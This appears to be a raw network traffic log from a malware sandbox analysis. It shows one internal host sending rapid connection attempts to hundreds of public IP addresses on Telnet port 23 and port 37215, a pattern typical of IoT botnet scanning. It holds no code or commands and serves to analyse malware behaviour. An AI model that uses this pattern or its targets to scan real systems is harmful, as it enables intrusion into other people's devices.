Feb 4, 2025 18:17:31.374484062 CET	47076	23	192.168.2.23	101.234.62.113
Feb 4, 2025 18:17:31.374491930 CET	47076	23	192.168.2.23	1.155.249.102
Feb 4, 2025 18:17:31.374494076 CET	47076	23	192.168.2.23	47.92.233.185
Feb 4, 2025 18:17:31.374495029 CET	47076	23	192.168.2.23	180.118.49.204
Feb 4, 2025 18:17:31.374495983 CET	47076	23	192.168.2.23	18.85.10.59
Feb 4, 2025 18:17:31.374496937 CET	47076	23	192.168.2.23	61.198.9.189
Feb 4, 2025 18:17:31.374496937 CET	47076	23	192.168.2.23	89.158.245.86
Feb 4, 2025 18:17:31.374502897 CET	47076	23	192.168.2.23	111.98.109.249
Feb 4, 2025 18:17:31.374511003 CET	47076	23	192.168.2.23	137.36.235.82
Feb 4, 2025 18:17:31.374511003 CET	47076	23	192.168.2.23	118.158.126.1
Feb 4, 2025 18:17:31.374520063 CET	47076	23	192.168.2.23	1.182.97.136
Feb 4, 2025 18:17:31.374520063 CET	47076	23	192.168.2.23	113.79.6.51
Feb 4, 2025 18:17:31.374527931 CET	47076	23	192.168.2.23	120.236.205.192
Feb 4, 2025 18:17:31.374537945 CET	47076	23	192.168.2.23	213.94.26.64
Feb 4, 2025 18:17:31.374597073 CET	47076	23	192.168.2.23	65.147.33.183
Feb 4, 2025 18:17:31.374598026 CET	47076	23	192.168.2.23	119.23.45.83
Feb 4, 2025 18:17:31.374600887 CET	47076	23	192.168.2.23	153.122.109.20
Feb 4, 2025 18:17:31.374600887 CET	47076	23	192.168.2.23	213.192.155.36
Feb 4, 2025 18:17:31.374605894 CET	47076	23	192.168.2.23	114.181.133.118
Feb 4, 2025 18:17:31.374605894 CET	47076	23	192.168.2.23	112.122.129.59
Feb 4, 2025 18:17:31.374613047 CET	47076	23	192.168.2.23	212.32.211.156
Feb 4, 2025 18:17:31.374613047 CET	47076	23	192.168.2.23	32.38.184.77
Feb 4, 2025 18:17:31.374619961 CET	47076	23	192.168.2.23	62.228.206.19
Feb 4, 2025 18:17:31.374639988 CET	47076	23	192.168.2.23	200.188.168.239
Feb 4, 2025 18:17:31.374825001 CET	47076	23	192.168.2.23	34.90.156.168
Feb 4, 2025 18:17:31.374825954 CET	47076	23	192.168.2.23	114.137.34.151
Feb 4, 2025 18:17:31.374826908 CET	47076	23	192.168.2.23	112.55.97.54
Feb 4, 2025 18:17:31.374835968 CET	47076	23	192.168.2.23	120.174.254.75
Feb 4, 2025 18:17:31.374847889 CET	47076	23	192.168.2.23	165.207.193.117
Feb 4, 2025 18:17:31.374859095 CET	47076	23	192.168.2.23	68.92.228.81
Feb 4, 2025 18:17:31.374859095 CET	47076	23	192.168.2.23	66.142.112.2
Feb 4, 2025 18:17:31.374859095 CET	47076	23	192.168.2.23	222.8.76.174
Feb 4, 2025 18:17:31.374882936 CET	47076	23	192.168.2.23	219.126.210.52
Feb 4, 2025 18:17:31.374888897 CET	47076	23	192.168.2.23	98.222.149.35
Feb 4, 2025 18:17:31.374888897 CET	47076	23	192.168.2.23	135.194.116.67
Feb 4, 2025 18:17:31.374888897 CET	47076	23	192.168.2.23	91.34.58.194
Feb 4, 2025 18:17:31.374891043 CET	47076	23	192.168.2.23	203.250.195.127
Feb 4, 2025 18:17:31.374888897 CET	47076	23	192.168.2.23	117.48.124.191
Feb 4, 2025 18:17:31.374891996 CET	47076	23	192.168.2.23	91.175.37.32
Feb 4, 2025 18:17:31.374888897 CET	47076	23	192.168.2.23	101.175.72.66
Feb 4, 2025 18:17:31.374912977 CET	47076	23	192.168.2.23	85.59.195.214
Feb 4, 2025 18:17:31.374922037 CET	47076	23	192.168.2.23	60.149.147.232
Feb 4, 2025 18:17:31.374922037 CET	47076	23	192.168.2.23	129.0.55.52
Feb 4, 2025 18:17:31.374923944 CET	47076	23	192.168.2.23	201.129.48.237
Feb 4, 2025 18:17:31.374924898 CET	47076	23	192.168.2.23	20.254.238.79
Feb 4, 2025 18:17:31.374926090 CET	47076	23	192.168.2.23	217.168.62.50
Feb 4, 2025 18:17:31.374952078 CET	47076	23	192.168.2.23	1.179.126.238
Feb 4, 2025 18:17:31.374952078 CET	47076	23	192.168.2.23	165.46.0.155
Feb 4, 2025 18:17:31.374952078 CET	47076	23	192.168.2.23	163.108.108.164
Feb 4, 2025 18:17:31.374955893 CET	47076	23	192.168.2.23	178.141.90.228
Feb 4, 2025 18:17:31.374955893 CET	47076	23	192.168.2.23	216.99.194.92
Feb 4, 2025 18:17:31.374962091 CET	47076	23	192.168.2.23	72.192.156.173
Feb 4, 2025 18:17:31.374963999 CET	47076	23	192.168.2.23	198.46.102.189
Feb 4, 2025 18:17:31.374968052 CET	47076	23	192.168.2.23	221.84.105.9
Feb 4, 2025 18:17:31.374969959 CET	47076	23	192.168.2.23	198.124.95.234
Feb 4, 2025 18:17:31.374979973 CET	47076	23	192.168.2.23	112.150.69.82
Feb 4, 2025 18:17:31.374983072 CET	47076	23	192.168.2.23	219.23.165.62
Feb 4, 2025 18:17:31.374996901 CET	47076	23	192.168.2.23	129.161.30.36
Feb 4, 2025 18:17:31.374999046 CET	47076	23	192.168.2.23	32.166.15.114
Feb 4, 2025 18:17:31.375000000 CET	47076	23	192.168.2.23	157.30.175.92
Feb 4, 2025 18:17:31.375010014 CET	47076	23	192.168.2.23	195.17.98.230
Feb 4, 2025 18:17:31.375015020 CET	47076	23	192.168.2.23	159.230.15.243
Feb 4, 2025 18:17:31.375022888 CET	47076	23	192.168.2.23	160.192.0.42
Feb 4, 2025 18:17:31.375026941 CET	47076	23	192.168.2.23	132.224.85.253
Feb 4, 2025 18:17:31.375026941 CET	47076	23	192.168.2.23	97.33.104.85
Feb 4, 2025 18:17:31.375030994 CET	47076	23	192.168.2.23	204.99.144.142
Feb 4, 2025 18:17:31.375030994 CET	47076	23	192.168.2.23	162.210.206.35
Feb 4, 2025 18:17:31.375042915 CET	47076	23	192.168.2.23	223.143.101.88
Feb 4, 2025 18:17:31.375047922 CET	47076	23	192.168.2.23	175.34.37.167
Feb 4, 2025 18:17:31.375065088 CET	47076	23	192.168.2.23	59.216.244.12
Feb 4, 2025 18:17:31.375072956 CET	47076	23	192.168.2.23	66.187.153.215
Feb 4, 2025 18:17:31.375087023 CET	47076	23	192.168.2.23	87.244.150.171
Feb 4, 2025 18:17:31.375092983 CET	47076	23	192.168.2.23	61.56.39.248
Feb 4, 2025 18:17:31.375094891 CET	47076	23	192.168.2.23	77.80.68.126
Feb 4, 2025 18:17:31.375094891 CET	47076	23	192.168.2.23	154.187.82.3
Feb 4, 2025 18:17:31.375098944 CET	47076	23	192.168.2.23	49.217.124.169
Feb 4, 2025 18:17:31.375104904 CET	47076	23	192.168.2.23	101.231.58.34
Feb 4, 2025 18:17:31.375109911 CET	47076	23	192.168.2.23	45.94.56.125
Feb 4, 2025 18:17:31.375112057 CET	47076	23	192.168.2.23	172.187.192.29
Feb 4, 2025 18:17:31.375112057 CET	47076	23	192.168.2.23	86.118.179.133
Feb 4, 2025 18:17:31.375123024 CET	47076	23	192.168.2.23	105.147.98.78
Feb 4, 2025 18:17:31.375123024 CET	47076	23	192.168.2.23	79.111.213.166
Feb 4, 2025 18:17:31.375123024 CET	47076	23	192.168.2.23	163.62.70.70
Feb 4, 2025 18:17:31.375125885 CET	47076	23	192.168.2.23	94.7.32.222
Feb 4, 2025 18:17:31.375283003 CET	47076	23	192.168.2.23	75.14.203.73
Feb 4, 2025 18:17:31.375289917 CET	47076	23	192.168.2.23	93.174.158.38
Feb 4, 2025 18:17:31.375303030 CET	47076	23	192.168.2.23	67.237.132.44
Feb 4, 2025 18:17:31.375307083 CET	47076	23	192.168.2.23	142.173.240.255
Feb 4, 2025 18:17:31.375307083 CET	47076	23	192.168.2.23	172.44.154.94
Feb 4, 2025 18:17:31.375318050 CET	47076	23	192.168.2.23	49.197.69.31
Feb 4, 2025 18:17:31.375323057 CET	47076	23	192.168.2.23	46.232.29.143
Feb 4, 2025 18:17:31.375323057 CET	47076	23	192.168.2.23	83.91.144.161
Feb 4, 2025 18:17:31.375329018 CET	47076	23	192.168.2.23	200.194.108.220
Feb 4, 2025 18:17:31.375334978 CET	47076	23	192.168.2.23	77.172.15.130
Feb 4, 2025 18:17:31.375334978 CET	47076	23	192.168.2.23	93.110.17.90
Feb 4, 2025 18:17:31.375345945 CET	47076	23	192.168.2.23	217.247.95.179
Feb 4, 2025 18:17:31.375349998 CET	47076	23	192.168.2.23	184.239.221.211
Feb 4, 2025 18:17:31.375355005 CET	47076	23	192.168.2.23	185.153.148.187
Feb 4, 2025 18:17:31.377188921 CET	23	47076	92.23.7.87	192.168.2.23
Feb 4, 2025 18:17:31.377198935 CET	23	47076	4.224.114.87	192.168.2.23
Feb 4, 2025 18:17:31.377203941 CET	23	47076	163.179.6.116	192.168.2.23
Feb 4, 2025 18:17:31.377208948 CET	23	47076	44.174.88.26	192.168.2.23
Feb 4, 2025 18:17:31.377213955 CET	23	47076	130.129.139.106	192.168.2.23
Feb 4, 2025 18:17:31.377218962 CET	23	47076	210.178.135.81	192.168.2.23
Feb 4, 2025 18:17:31.377233982 CET	23	47076	112.132.122.239	192.168.2.23
Feb 4, 2025 18:17:31.377240896 CET	23	47076	194.82.191.250	192.168.2.23
Feb 4, 2025 18:17:31.377244949 CET	23	47076	157.79.3.186	192.168.2.23
Feb 4, 2025 18:17:31.377247095 CET	47076	23	192.168.2.23	92.23.7.87
Feb 4, 2025 18:17:31.377249956 CET	47076	23	192.168.2.23	4.224.114.87
Feb 4, 2025 18:17:31.377249956 CET	23	47076	91.89.98.112	192.168.2.23
Feb 4, 2025 18:17:31.377254009 CET	47076	23	192.168.2.23	44.174.88.26
Feb 4, 2025 18:17:31.377274036 CET	47076	23	192.168.2.23	163.179.6.116
Feb 4, 2025 18:17:31.377281904 CET	47076	23	192.168.2.23	210.178.135.81
Feb 4, 2025 18:17:31.377290964 CET	47076	23	192.168.2.23	112.132.122.239
Feb 4, 2025 18:17:31.377298117 CET	47076	23	192.168.2.23	130.129.139.106
Feb 4, 2025 18:17:31.377301931 CET	47076	23	192.168.2.23	194.82.191.250
Feb 4, 2025 18:17:31.377336979 CET	47076	23	192.168.2.23	157.79.3.186
Feb 4, 2025 18:17:31.377336979 CET	47076	23	192.168.2.23	91.89.98.112
Feb 4, 2025 18:17:31.377705097 CET	23	47076	83.145.242.116	192.168.2.23
Feb 4, 2025 18:17:31.377712011 CET	23	47076	85.168.253.159	192.168.2.23
Feb 4, 2025 18:17:31.377739906 CET	47076	23	192.168.2.23	85.168.253.159
Feb 4, 2025 18:17:31.377757072 CET	47076	23	192.168.2.23	83.145.242.116
Feb 4, 2025 18:17:31.377758026 CET	23	47076	52.154.141.42	192.168.2.23
Feb 4, 2025 18:17:31.377763987 CET	23	47076	65.7.148.37	192.168.2.23
Feb 4, 2025 18:17:31.377768993 CET	23	47076	141.209.44.25	192.168.2.23
Feb 4, 2025 18:17:31.377774000 CET	23	47076	152.61.107.176	192.168.2.23
Feb 4, 2025 18:17:31.377788067 CET	23	47076	67.139.160.55	192.168.2.23
Feb 4, 2025 18:17:31.377799988 CET	47076	23	192.168.2.23	52.154.141.42
Feb 4, 2025 18:17:31.377806902 CET	47076	23	192.168.2.23	65.7.148.37
Feb 4, 2025 18:17:31.377818108 CET	47076	23	192.168.2.23	141.209.44.25
Feb 4, 2025 18:17:31.377826929 CET	47076	23	192.168.2.23	67.139.160.55
Feb 4, 2025 18:17:31.377883911 CET	23	47076	161.233.92.6	192.168.2.23
Feb 4, 2025 18:17:31.377890110 CET	23	47076	128.16.205.191	192.168.2.23
Feb 4, 2025 18:17:31.377893925 CET	23	47076	183.219.229.81	192.168.2.23
Feb 4, 2025 18:17:31.377898932 CET	23	47076	151.26.174.137	192.168.2.23
Feb 4, 2025 18:17:31.377902031 CET	47076	23	192.168.2.23	152.61.107.176
Feb 4, 2025 18:17:31.377904892 CET	23	47076	107.82.243.201	192.168.2.23
Feb 4, 2025 18:17:31.377918005 CET	23	47076	126.21.196.46	192.168.2.23
Feb 4, 2025 18:17:31.377923012 CET	23	47076	149.206.49.19	192.168.2.23
Feb 4, 2025 18:17:31.377927065 CET	23	47076	175.125.116.107	192.168.2.23
Feb 4, 2025 18:17:31.377928019 CET	47076	23	192.168.2.23	161.233.92.6
Feb 4, 2025 18:17:31.377931118 CET	23	47076	47.56.25.130	192.168.2.23
Feb 4, 2025 18:17:31.377932072 CET	47076	23	192.168.2.23	128.16.205.191
Feb 4, 2025 18:17:31.377935886 CET	23	47076	155.189.220.154	192.168.2.23
Feb 4, 2025 18:17:31.377940893 CET	23	47076	121.158.21.152	192.168.2.23
Feb 4, 2025 18:17:31.377944946 CET	47076	23	192.168.2.23	107.82.243.201
Feb 4, 2025 18:17:31.377945900 CET	23	47076	149.3.142.204	192.168.2.23
Feb 4, 2025 18:17:31.377949953 CET	47076	23	192.168.2.23	183.219.229.81
Feb 4, 2025 18:17:31.377950907 CET	23	47076	99.187.6.83	192.168.2.23
Feb 4, 2025 18:17:31.377952099 CET	47076	23	192.168.2.23	126.21.196.46
Feb 4, 2025 18:17:31.377963066 CET	23	47076	172.173.60.23	192.168.2.23
Feb 4, 2025 18:17:31.377969027 CET	23	47076	146.109.5.177	192.168.2.23
Feb 4, 2025 18:17:31.377971888 CET	47076	23	192.168.2.23	151.26.174.137
Feb 4, 2025 18:17:31.377971888 CET	47076	23	192.168.2.23	47.56.25.130
Feb 4, 2025 18:17:31.377974033 CET	47076	23	192.168.2.23	149.206.49.19
Feb 4, 2025 18:17:31.377974033 CET	47076	23	192.168.2.23	175.125.116.107
Feb 4, 2025 18:17:31.377975941 CET	23	47076	61.131.204.12	192.168.2.23
Feb 4, 2025 18:17:31.377980947 CET	23	47076	1.142.101.135	192.168.2.23
Feb 4, 2025 18:17:31.377985001 CET	47076	23	192.168.2.23	121.158.21.152
Feb 4, 2025 18:17:31.377985954 CET	23	47076	78.140.95.95	192.168.2.23
Feb 4, 2025 18:17:31.377990961 CET	23	47076	54.106.122.6	192.168.2.23
Feb 4, 2025 18:17:31.377994061 CET	47076	23	192.168.2.23	155.189.220.154
Feb 4, 2025 18:17:31.377995014 CET	23	47076	32.195.112.125	192.168.2.23
Feb 4, 2025 18:17:31.378000021 CET	47076	23	192.168.2.23	149.3.142.204
Feb 4, 2025 18:17:31.378000021 CET	23	47076	142.190.144.84	192.168.2.23
Feb 4, 2025 18:17:31.378000975 CET	47076	23	192.168.2.23	99.187.6.83
Feb 4, 2025 18:17:31.378025055 CET	47076	23	192.168.2.23	78.140.95.95
Feb 4, 2025 18:17:31.378026009 CET	47076	23	192.168.2.23	146.109.5.177
Feb 4, 2025 18:17:31.378027916 CET	47076	23	192.168.2.23	172.173.60.23
Feb 4, 2025 18:17:31.378027916 CET	47076	23	192.168.2.23	32.195.112.125
Feb 4, 2025 18:17:31.378036022 CET	47076	23	192.168.2.23	61.131.204.12
Feb 4, 2025 18:17:31.378043890 CET	47076	23	192.168.2.23	54.106.122.6
Feb 4, 2025 18:17:31.378045082 CET	47076	23	192.168.2.23	142.190.144.84
Feb 4, 2025 18:17:31.378046989 CET	47076	23	192.168.2.23	1.142.101.135
Feb 4, 2025 18:17:31.378534079 CET	23	47076	172.108.57.176	192.168.2.23
Feb 4, 2025 18:17:31.378540993 CET	23	47076	123.173.30.127	192.168.2.23
Feb 4, 2025 18:17:31.378546000 CET	23	47076	51.228.251.46	192.168.2.23
Feb 4, 2025 18:17:31.378556967 CET	23	47076	84.63.82.242	192.168.2.23
Feb 4, 2025 18:17:31.378561020 CET	23	47076	197.203.146.123	192.168.2.23
Feb 4, 2025 18:17:31.378575087 CET	23	47076	40.182.169.248	192.168.2.23
Feb 4, 2025 18:17:31.378586054 CET	23	47076	149.245.20.75	192.168.2.23
Feb 4, 2025 18:17:31.378591061 CET	23	47076	81.36.91.196	192.168.2.23
Feb 4, 2025 18:17:31.378590107 CET	47076	23	192.168.2.23	123.173.30.127
Feb 4, 2025 18:17:31.378595114 CET	23	47076	136.4.252.241	192.168.2.23
Feb 4, 2025 18:17:31.378599882 CET	23	47076	134.100.205.170	192.168.2.23
Feb 4, 2025 18:17:31.378604889 CET	23	47076	4.126.226.95	192.168.2.23
Feb 4, 2025 18:17:31.378608942 CET	23	47076	89.159.28.137	192.168.2.23
Feb 4, 2025 18:17:31.378609896 CET	47076	23	192.168.2.23	172.108.57.176
Feb 4, 2025 18:17:31.378611088 CET	47076	23	192.168.2.23	51.228.251.46
Feb 4, 2025 18:17:31.378612995 CET	23	47076	110.17.113.164	192.168.2.23
Feb 4, 2025 18:17:31.378614902 CET	47076	23	192.168.2.23	84.63.82.242
Feb 4, 2025 18:17:31.378617048 CET	23	47076	36.14.39.102	192.168.2.23
Feb 4, 2025 18:17:31.378622055 CET	23	47076	32.42.153.209	192.168.2.23
Feb 4, 2025 18:17:31.378628016 CET	47076	23	192.168.2.23	40.182.169.248
Feb 4, 2025 18:17:31.378628016 CET	47076	23	192.168.2.23	149.245.20.75
Feb 4, 2025 18:17:31.378628016 CET	47076	23	192.168.2.23	197.203.146.123
Feb 4, 2025 18:17:31.378634930 CET	47076	23	192.168.2.23	134.100.205.170
Feb 4, 2025 18:17:31.378634930 CET	47076	23	192.168.2.23	136.4.252.241
Feb 4, 2025 18:17:31.378635883 CET	23	47076	84.64.219.213	192.168.2.23
Feb 4, 2025 18:17:31.378635883 CET	47076	23	192.168.2.23	81.36.91.196
Feb 4, 2025 18:17:31.378640890 CET	23	47076	27.116.68.11	192.168.2.23
Feb 4, 2025 18:17:31.378640890 CET	47076	23	192.168.2.23	89.159.28.137
Feb 4, 2025 18:17:31.378640890 CET	47076	23	192.168.2.23	4.126.226.95
Feb 4, 2025 18:17:31.378648043 CET	23	47076	123.57.86.137	192.168.2.23
Feb 4, 2025 18:17:31.378653049 CET	23	47076	27.200.214.148	192.168.2.23
Feb 4, 2025 18:17:31.378653049 CET	47076	23	192.168.2.23	110.17.113.164
Feb 4, 2025 18:17:31.378658056 CET	23	47076	100.225.68.164	192.168.2.23
Feb 4, 2025 18:17:31.378660917 CET	47076	23	192.168.2.23	36.14.39.102
Feb 4, 2025 18:17:31.378663063 CET	23	47076	161.241.29.251	192.168.2.23
Feb 4, 2025 18:17:31.378663063 CET	47076	23	192.168.2.23	32.42.153.209
Feb 4, 2025 18:17:31.378668070 CET	23	47076	108.15.7.221	192.168.2.23
Feb 4, 2025 18:17:31.378673077 CET	23	47076	20.122.10.125	192.168.2.23
Feb 4, 2025 18:17:31.378676891 CET	23	47076	62.254.10.232	192.168.2.23
Feb 4, 2025 18:17:31.378686905 CET	47076	23	192.168.2.23	84.64.219.213
Feb 4, 2025 18:17:31.378686905 CET	23	47076	180.32.104.55	192.168.2.23
Feb 4, 2025 18:17:31.378689051 CET	47076	23	192.168.2.23	27.116.68.11
Feb 4, 2025 18:17:31.378689051 CET	47076	23	192.168.2.23	161.241.29.251
Feb 4, 2025 18:17:31.378691912 CET	23	47076	76.74.92.65	192.168.2.23
Feb 4, 2025 18:17:31.378696918 CET	23	47076	150.154.22.152	192.168.2.23
Feb 4, 2025 18:17:31.378701925 CET	23	47076	82.161.101.2	192.168.2.23
Feb 4, 2025 18:17:31.378700972 CET	47076	23	192.168.2.23	123.57.86.137
Feb 4, 2025 18:17:31.378710032 CET	47076	23	192.168.2.23	27.200.214.148
Feb 4, 2025 18:17:31.378719091 CET	47076	23	192.168.2.23	150.154.22.152
Feb 4, 2025 18:17:31.378726959 CET	47076	23	192.168.2.23	108.15.7.221
Feb 4, 2025 18:17:31.378726959 CET	47076	23	192.168.2.23	20.122.10.125
Feb 4, 2025 18:17:31.378727913 CET	47076	23	192.168.2.23	62.254.10.232
Feb 4, 2025 18:17:31.378726959 CET	47076	23	192.168.2.23	100.225.68.164
Feb 4, 2025 18:17:31.378729105 CET	47076	23	192.168.2.23	180.32.104.55
Feb 4, 2025 18:17:31.378740072 CET	47076	23	192.168.2.23	76.74.92.65
Feb 4, 2025 18:17:31.378741026 CET	47076	23	192.168.2.23	82.161.101.2
Feb 4, 2025 18:17:31.378799915 CET	35556	37215	192.168.2.23	156.72.25.21
Feb 4, 2025 18:17:31.378804922 CET	35556	37215	192.168.2.23	197.254.6.87
Feb 4, 2025 18:17:31.378807068 CET	35556	37215	192.168.2.23	197.8.115.87
Feb 4, 2025 18:17:31.378807068 CET	35556	37215	192.168.2.23	197.5.202.89
Feb 4, 2025 18:17:31.378810883 CET	35556	37215	192.168.2.23	41.29.34.139
Feb 4, 2025 18:17:31.378814936 CET	35556	37215	192.168.2.23	197.53.186.74
Feb 4, 2025 18:17:31.378834963 CET	35556	37215	192.168.2.23	197.115.189.5
Feb 4, 2025 18:17:31.378834963 CET	35556	37215	192.168.2.23	156.60.3.254
Feb 4, 2025 18:17:31.378839970 CET	35556	37215	192.168.2.23	156.137.161.242
Feb 4, 2025 18:17:31.378839970 CET	35556	37215	192.168.2.23	197.59.227.75
Feb 4, 2025 18:17:31.378842115 CET	35556	37215	192.168.2.23	41.242.229.97
Feb 4, 2025 18:17:31.378848076 CET	35556	37215	192.168.2.23	197.56.83.4
Feb 4, 2025 18:17:31.378848076 CET	35556	37215	192.168.2.23	197.238.110.158
Feb 4, 2025 18:17:31.378850937 CET	35556	37215	192.168.2.23	41.225.132.32
Feb 4, 2025 18:17:31.378856897 CET	35556	37215	192.168.2.23	156.120.22.183
Feb 4, 2025 18:17:31.378859997 CET	35556	37215	192.168.2.23	197.215.8.197
Feb 4, 2025 18:17:31.378864050 CET	35556	37215	192.168.2.23	41.190.14.86
Feb 4, 2025 18:17:31.378865004 CET	35556	37215	192.168.2.23	156.1.129.44
Feb 4, 2025 18:17:31.378864050 CET	35556	37215	192.168.2.23	197.47.190.139
Feb 4, 2025 18:17:31.378865004 CET	35556	37215	192.168.2.23	41.62.244.3
Feb 4, 2025 18:17:31.378863096 CET	35556	37215	192.168.2.23	41.116.239.83
Feb 4, 2025 18:17:31.378870010 CET	35556	37215	192.168.2.23	197.39.212.144
Feb 4, 2025 18:17:31.378901005 CET	35556	37215	192.168.2.23	156.47.205.250
Feb 4, 2025 18:17:31.378901005 CET	35556	37215	192.168.2.23	156.66.135.0
Feb 4, 2025 18:17:31.378902912 CET	35556	37215	192.168.2.23	41.29.190.180
Feb 4, 2025 18:17:31.378904104 CET	35556	37215	192.168.2.23	41.39.184.35
Feb 4, 2025 18:17:31.378914118 CET	35556	37215	192.168.2.23	41.12.94.33
Feb 4, 2025 18:17:31.378918886 CET	35556	37215	192.168.2.23	197.93.3.107
Feb 4, 2025 18:17:31.378921032 CET	35556	37215	192.168.2.23	197.83.236.177
Feb 4, 2025 18:17:31.378937960 CET	35556	37215	192.168.2.23	41.76.171.217
Feb 4, 2025 18:17:31.378966093 CET	35556	37215	192.168.2.23	197.131.223.112
Feb 4, 2025 18:17:31.378968954 CET	35556	37215	192.168.2.23	41.61.255.159
Feb 4, 2025 18:17:31.378968954 CET	35556	37215	192.168.2.23	156.36.201.14
Feb 4, 2025 18:17:31.378969908 CET	35556	37215	192.168.2.23	156.129.199.125
Feb 4, 2025 18:17:31.378972054 CET	35556	37215	192.168.2.23	156.249.224.15
Feb 4, 2025 18:17:31.378979921 CET	35556	37215	192.168.2.23	156.8.107.128
Feb 4, 2025 18:17:31.378999949 CET	35556	37215	192.168.2.23	197.155.133.145
Feb 4, 2025 18:17:31.378999949 CET	35556	37215	192.168.2.23	197.241.110.16
Feb 4, 2025 18:17:31.379002094 CET	35556	37215	192.168.2.23	197.240.181.79
Feb 4, 2025 18:17:31.379002094 CET	35556	37215	192.168.2.23	197.8.13.169
Feb 4, 2025 18:17:31.379009008 CET	35556	37215	192.168.2.23	156.76.102.91
Feb 4, 2025 18:17:31.379012108 CET	35556	37215	192.168.2.23	156.185.1.117
Feb 4, 2025 18:17:31.379021883 CET	35556	37215	192.168.2.23	41.13.115.81
Feb 4, 2025 18:17:31.379024029 CET	35556	37215	192.168.2.23	156.66.96.60
Feb 4, 2025 18:17:31.379025936 CET	35556	37215	192.168.2.23	41.94.72.84
Feb 4, 2025 18:17:31.379031897 CET	35556	37215	192.168.2.23	197.16.102.142
Feb 4, 2025 18:17:31.379045010 CET	35556	37215	192.168.2.23	41.182.223.245
Feb 4, 2025 18:17:31.379053116 CET	35556	37215	192.168.2.23	41.73.35.172
Feb 4, 2025 18:17:31.379057884 CET	35556	37215	192.168.2.23	156.227.2.129
Feb 4, 2025 18:17:31.379060984 CET	35556	37215	192.168.2.23	41.0.148.139
Feb 4, 2025 18:17:31.379066944 CET	35556	37215	192.168.2.23	41.255.32.52
Feb 4, 2025 18:17:31.379075050 CET	35556	37215	192.168.2.23	197.155.82.107
Feb 4, 2025 18:17:31.379075050 CET	35556	37215	192.168.2.23	197.124.148.50
Feb 4, 2025 18:17:31.379086018 CET	35556	37215	192.168.2.23	41.249.27.223
Feb 4, 2025 18:17:31.379092932 CET	35556	37215	192.168.2.23	41.79.10.15
Feb 4, 2025 18:17:31.379101992 CET	35556	37215	192.168.2.23	156.54.132.87
Feb 4, 2025 18:17:31.379102945 CET	35556	37215	192.168.2.23	41.17.133.254
Feb 4, 2025 18:17:31.379102945 CET	35556	37215	192.168.2.23	41.117.15.117
Feb 4, 2025 18:17:31.379131079 CET	35556	37215	192.168.2.23	197.106.59.14
Feb 4, 2025 18:17:31.379132032 CET	35556	37215	192.168.2.23	197.198.77.99
Feb 4, 2025 18:17:31.379132986 CET	35556	37215	192.168.2.23	156.4.1.112
Feb 4, 2025 18:17:31.379132986 CET	35556	37215	192.168.2.23	156.196.59.50
Feb 4, 2025 18:17:31.379132986 CET	35556	37215	192.168.2.23	41.72.216.237
Feb 4, 2025 18:17:31.379151106 CET	35556	37215	192.168.2.23	197.149.213.162
Feb 4, 2025 18:17:31.379153967 CET	35556	37215	192.168.2.23	156.141.173.235
Feb 4, 2025 18:17:31.379153967 CET	35556	37215	192.168.2.23	41.94.119.186
Feb 4, 2025 18:17:31.379168987 CET	35556	37215	192.168.2.23	197.243.93.88
Feb 4, 2025 18:17:31.379168034 CET	35556	37215	192.168.2.23	41.65.164.23
Feb 4, 2025 18:17:31.379173994 CET	35556	37215	192.168.2.23	41.146.238.69
Feb 4, 2025 18:17:31.379174948 CET	35556	37215	192.168.2.23	156.244.255.230
Feb 4, 2025 18:17:31.379179001 CET	23	47076	77.240.113.232	192.168.2.23
Feb 4, 2025 18:17:31.379179955 CET	35556	37215	192.168.2.23	156.62.97.232
Feb 4, 2025 18:17:31.379179955 CET	35556	37215	192.168.2.23	156.209.53.6
Feb 4, 2025 18:17:31.379184961 CET	23	47076	72.139.190.134	192.168.2.23
Feb 4, 2025 18:17:31.379189014 CET	23	47076	207.185.43.179	192.168.2.23
Feb 4, 2025 18:17:31.379193068 CET	23	47076	159.61.84.97	192.168.2.23
Feb 4, 2025 18:17:31.379198074 CET	23	47076	13.213.137.235	192.168.2.23
Feb 4, 2025 18:17:31.379201889 CET	23	47076	9.175.149.218	192.168.2.23
Feb 4, 2025 18:17:31.379205942 CET	23	47076	168.30.4.100	192.168.2.23
Feb 4, 2025 18:17:31.379210949 CET	23	47076	218.205.64.83	192.168.2.23
Feb 4, 2025 18:17:31.379219055 CET	47076	23	192.168.2.23	77.240.113.232
Feb 4, 2025 18:17:31.379225016 CET	23	47076	94.9.120.244	192.168.2.23
Feb 4, 2025 18:17:31.379225969 CET	47076	23	192.168.2.23	159.61.84.97
Feb 4, 2025 18:17:31.379226923 CET	47076	23	192.168.2.23	72.139.190.134
Feb 4, 2025 18:17:31.379226923 CET	47076	23	192.168.2.23	207.185.43.179
Feb 4, 2025 18:17:31.379229069 CET	23	47076	70.49.179.37	192.168.2.23
Feb 4, 2025 18:17:31.379234076 CET	23	47076	168.196.214.136	192.168.2.23
Feb 4, 2025 18:17:31.379237890 CET	23	47076	50.46.76.29	192.168.2.23
Feb 4, 2025 18:17:31.379241943 CET	23	47076	90.250.64.176	192.168.2.23
Feb 4, 2025 18:17:31.379245043 CET	47076	23	192.168.2.23	9.175.149.218
Feb 4, 2025 18:17:31.379246950 CET	23	47076	219.241.71.118	192.168.2.23
Feb 4, 2025 18:17:31.379247904 CET	47076	23	192.168.2.23	168.30.4.100
Feb 4, 2025 18:17:31.379247904 CET	47076	23	192.168.2.23	13.213.137.235
Feb 4, 2025 18:17:31.379250050 CET	47076	23	192.168.2.23	218.205.64.83
Feb 4, 2025 18:17:31.379251957 CET	23	47076	203.129.116.22	192.168.2.23
Feb 4, 2025 18:17:31.379266977 CET	47076	23	192.168.2.23	94.9.120.244
Feb 4, 2025 18:17:31.379267931 CET	23	47076	198.109.94.35	192.168.2.23
Feb 4, 2025 18:17:31.379271030 CET	47076	23	192.168.2.23	70.49.179.37
Feb 4, 2025 18:17:31.379273891 CET	23	47076	205.9.131.79	192.168.2.23
Feb 4, 2025 18:17:31.379273891 CET	47076	23	192.168.2.23	168.196.214.136
Feb 4, 2025 18:17:31.379278898 CET	23	47076	87.69.247.4	192.168.2.23
Feb 4, 2025 18:17:31.379277945 CET	47076	23	192.168.2.23	50.46.76.29
Feb 4, 2025 18:17:31.379281998 CET	47076	23	192.168.2.23	219.241.71.118
Feb 4, 2025 18:17:31.379282951 CET	23	47076	70.193.129.153	192.168.2.23
Feb 4, 2025 18:17:31.379293919 CET	47076	23	192.168.2.23	90.250.64.176
Feb 4, 2025 18:17:31.379295111 CET	47076	23	192.168.2.23	203.129.116.22
Feb 4, 2025 18:17:31.379298925 CET	23	47076	219.145.18.6	192.168.2.23
Feb 4, 2025 18:17:31.379298925 CET	47076	23	192.168.2.23	198.109.94.35
Feb 4, 2025 18:17:31.379304886 CET	23	47076	93.93.209.213	192.168.2.23
